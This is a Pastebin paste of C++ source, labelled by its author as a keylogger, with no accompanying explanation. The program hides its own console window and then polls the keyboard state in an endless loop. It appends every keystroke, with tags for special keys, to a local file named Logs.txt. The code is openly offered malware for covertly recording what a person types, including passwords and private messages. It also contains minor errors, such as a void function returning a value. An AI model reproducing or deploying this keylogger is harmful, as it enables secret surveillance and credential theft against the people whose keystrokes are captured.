Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*/
- Author : Asif Nawaz
- Type : Keylogger
- Risk : Moderate
- Publish: 2/14/2017
- */
- #include <iostream>
- #include <windows.h>
- #include <winuser.h>
- void Save (int key_stroke);
- void Stealth();
- using namespace std;
- int main() {
- Stealth();
- char i;
- while (1){
- for(i = 8; i <= 190; i++){
- if (GetAsyncKeyState(i) == -32767){
- Save (i);
- }
- }
- }
- system ("PAUSE");
- return 0;
- }
- void Save (int key_stroke){
- if ( (key_stroke == 1) || (key_stroke == 2) ){
- // Do Nothing
- }
- FILE *out=fopen("Logs.txt", "a+");
- cout << key_stroke << endl;
- if (key_stroke == 8)
- fprintf(out, "%s", "[BACKSPACE]");
- else if (key_stroke == 13)
- fprintf(out, "%s", "\n");
- else if (key_stroke == 32)
- fprintf(out, "%s", " ");
- else if (key_stroke == VK_TAB)
- fprintf(out, "%s", "[TAB]");
- else if (key_stroke == VK_SHIFT)
- fprintf(out, "%s", "[SHIFT]");
- else if (key_stroke == VK_CONTROL)
- fprintf(out, "%s", "[CONTROL]");
- else if (key_stroke == VK_ESCAPE)
- fprintf(out, "%s", "[ESCAPE]");
- else if (key_stroke == VK_END)
- fprintf(out, "%s", "[END]");
- else if (key_stroke == VK_HOME)
- fprintf(out, "%s", "[HOME]");
- else if (key_stroke == VK_LEFT)
- fprintf(out, "%s", "[LEFT]");
- else if (key_stroke == VK_UP)
- fprintf(out, "%s", "[UP]");
- else if (key_stroke == VK_RIGHT)
- fprintf(out, "%s", "[RIGHT]");
- else if (key_stroke == VK_DOWN)
- fprintf(out, "%s", "[DOWN]");
- else if (key_stroke == 190 || key_stroke == 110)
- fprintf(out, "%s", ".");
- else
- fprintf(out, "%s", &key_stroke);
- fclose (out);
- return 0;
- }
- void Stealth(){
- HWND Stealth;
- AllocConsole();
- Stealth = FindWindowA("ConsoleWindowClass", NULL);
- ShowWindow(Stealth,0);
- }
Add Comment
Please, Sign In to add comment